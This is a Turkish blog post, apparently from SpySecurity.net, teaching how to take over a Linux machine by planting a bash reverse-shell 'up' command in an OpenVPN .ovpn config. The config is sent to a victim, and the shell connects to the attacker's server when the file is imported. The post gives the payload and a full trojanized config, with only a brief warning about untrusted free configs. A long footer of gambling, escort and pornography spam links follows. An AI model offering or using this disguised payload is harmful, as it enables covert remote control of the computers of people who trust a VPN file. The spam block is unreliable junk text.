Open VPN İle Reverse Shell Alma

Değerli SpySecurity.net takipçileri, bu yazımda sizlere Open VPN config dosyasına ekleyeceğiniz iki satır kod ile nasıl Reverse Shell alabileceğinizi anlatacağım. Makaleyi tamamen okuduktan sonra hedef linux makineyi bu yöntemle nasıl ele geçirebileceğinizi ve neden ücretsiz Open VPN configlerinin incelenmeden indirilip kullanılmaması gerektiğini öğreneceksiniz.

Öncelikle bahsetmek istiyorum ki anlatacağım yöntem Linux makineler için geçerlidir, bash reverse tcp payload kullanacağız. Windows makinelerde stabil olmadığı için bu yazımda windows’a yer vermeyeceğim.

Bize gerekenler 1 adet hazır config (.ovpn) dosyası ve shell alabileceğimiz bir sunucu.

.ovpn uzantılı config dosyamızın içerisine ekleyeceğimiz payload:

script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/REVERSEIP/REVERSEPORT 0>&1'"

“up” komutu belirttiğiniz herhangi bir komut dosyasını çalıştırır.

REVERSEIP ve REVERSEPORT yazan kısımları reverse shell alacağınız sunucunun ip adresini ve dinleyeceğiniz porta göre düzenleyin.

Şimdi Config dosyasının içini açın ve remote metninin altına payloadınızı yapıştırın.

Config dosyanızın son hali aşağıdaki gibi olmalı.

client
dev tun
proto udp
remote ***.***.**.** 1194
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/***.***.**.**/1337 0>&1'"

Ardından config dosyasını hedefe gönderdiniz ve linux makinesinde çalıştırdı, dananın kuyruğu bu kısımdan sonra kopuyor 😀

Hedef makinede bizim configimiz Open VPN clientine import edilip çalıştırıldığında sunucumuzda dinlediğimiz porta shell gelmiş olacak.

Kurban loglarda her ne kadar payloadı görse de biz çoktan oturum almış olacağız.

Bu yazımda Open VPN ile reverse shell nasıl alırsınız bunu anlatmaya çalıştım, umarım anlaşılır olmuştur. Yazım hakkındaki görüşlerinizi, sorularınızı ve anlatılmasını istediğiniz konu başlıklarını yorumlara yazabilirsiniz.

Sonraki yazımda görüşmek dileğiyle, sağlıcakla kalın…

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu
hacklink al duşakabin fiyatları fethiye escort bayan escort - vip elit escort dizi film izle erotik film izle duşakabin hack forum marsbahis marsbahisgirtr nulled scriptvozolMedusabahis girişPendik EscortMaltepe Escortفيديو اباحيiqosاباحي عربيMedusabahis girişhd pornoenobahishilarionbetvozol 6000tanıtım yazısı nedirDuşakabin Fiyatlarıduşakabin modelleriduşakabin tekerleğiduşakabin camıduşakabin temizliğiiqos heetsheets sigaraMaltese Terriercasibomcasibomelektronik sigara fiyatlarıcasibomiqoscasibomBetofficePusulabetvozolz librarycasibomSumak Sirkesi Nasıl YapılırDeneme Bonusu Veren Sitelerxxx videoswww.ulser.net/Matadorbet güncel girişbahiscominstagram ban servicenehirsohbet.comintobetmatadorbet Matadorbetbeylikduzu escortbetturkeybetturkeystarzbetRüyabetbycasinosıcak sohbet hattızbahisxslotsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetsahabetartemisbetgalabethiltonbetparibahisbetsmovemavibetvevobahisbetparksuperbetinbetsmovebetsmovebetcupbetcupsahabetmavibetlunabetsahabetvozol puff sigaraholiganbetonwinsekabetonwinsahabetholiganbetnakitbahismeritkingbahsegelcratosslotkralbetdinamobetbetkanyonSekabetfixbetcasibomholiganbetbets10bets10bets10onwinbets10bets10bets10bets10bets10xslotxslot twitterDeneme bonusu veren sitelerCratosslot girişholiganbetsahabet22betkomtümbetBetmatikjojobet7slotsholiganbetbetkomsahabetsekabetThesakultahcasibomimajbetsekabetxslotxslotCasibomcasibomsekabetzbahisSahabetimajbetgrandpashabetmarsbahismarsbahisyouwinjojobetbetkombetkomsavoybettingjojobetsahabethttps://cinselsohbetyap.com/betebet , betebet twitter doğal tuğlabetpasmariobetholiganbetmcswizzlespuff.comhivevape.comvozolmarsbahis girişbaywin girişrestbetyouwinbetkommatadorbetfixbetbahsegelYouwin Girişsahabetcasibomcasibompiabellacasinosahabetmatadorbetholiganbetyouwinhttps://x.com/Vbet_Giristrsahabetonwinholiganbetjojobetcasibomizmir escortholiganbetmobil ödeme bozdurmajojobetxslotpiabetsahabetimajbetholiganbetholiganbetbetkombetmoonBetkombetmoonbahsegelcasibom girişmegabahisbetofficejojobetfilme sexoSex Videoscasibomjojobetcasibomcasibomcasibomholiganbetİzmir Su Kesintisicasibomvozol 10000Casino siteleribetturkey güncel girişbetturkey güncel girişbetturkey güncel girişbetturkey güncel girişbetturkey güncel girişikimislibycasinoorisbetdumanbetdumanbetgoldenbahisgoldenbahisbetparkjojobetjojobetsekabetsekabetbetmoonbetistdumanbetcasibomcasibomCanlı Bahiskazandinsen.comJojobetcasibomjojobetcasibomcasibomcasibomsuperbetinelexbetmostbetTipobetcasibomgoldenbahistimeisworth.comcasibomCasibommobilbahisssJojobetJojobetJojobetCasibombetwooncasibombets10casibom bets10betparkcasibom matadorbetbahsegelsekabetcasinometropolholiganbettipobethepsibahismeritkingreslotMatadorbetsahabetnakitbahisjojobetbetebetonwinmatadorbetgrandpashabetonwinbets10sekabetsekabetonwinonwinmariobetmariobetimajbetimajbetmariobetmariobetbet10betistBahiscomBahiscomholiganbetholiganbetmarsbahisimajbetbahsegelmeritkingbetebetdinamobetcasibomjojobet girişodeonbetwinxbetbetwoonmeritkingbetkanyonmatadorbetmatadorbetbetturkey güncel girişbetturkey güncelbetturkey güncel girişbetkomvdcasinovdcasinotarafbettarafbetBahiscomBahiscomsahabetsahabetcasibomCratosroyalbetjojobetholiganbetsekabetfenomenbetmariobettarafbetvdcasinodumanbettipobettempobettempobet1xbetwinxbetkalebetklasbahisgrandbettingperabetpokerklasbetpasbetboomaltcasinoasyabahisvdcasinoBayspinmariobetMeritking TwitterMeritkingGrandpashabet meritkingGrandpashabet Grandpashabet safirbetbetebetvbetjojobetmarsbahisTürkiye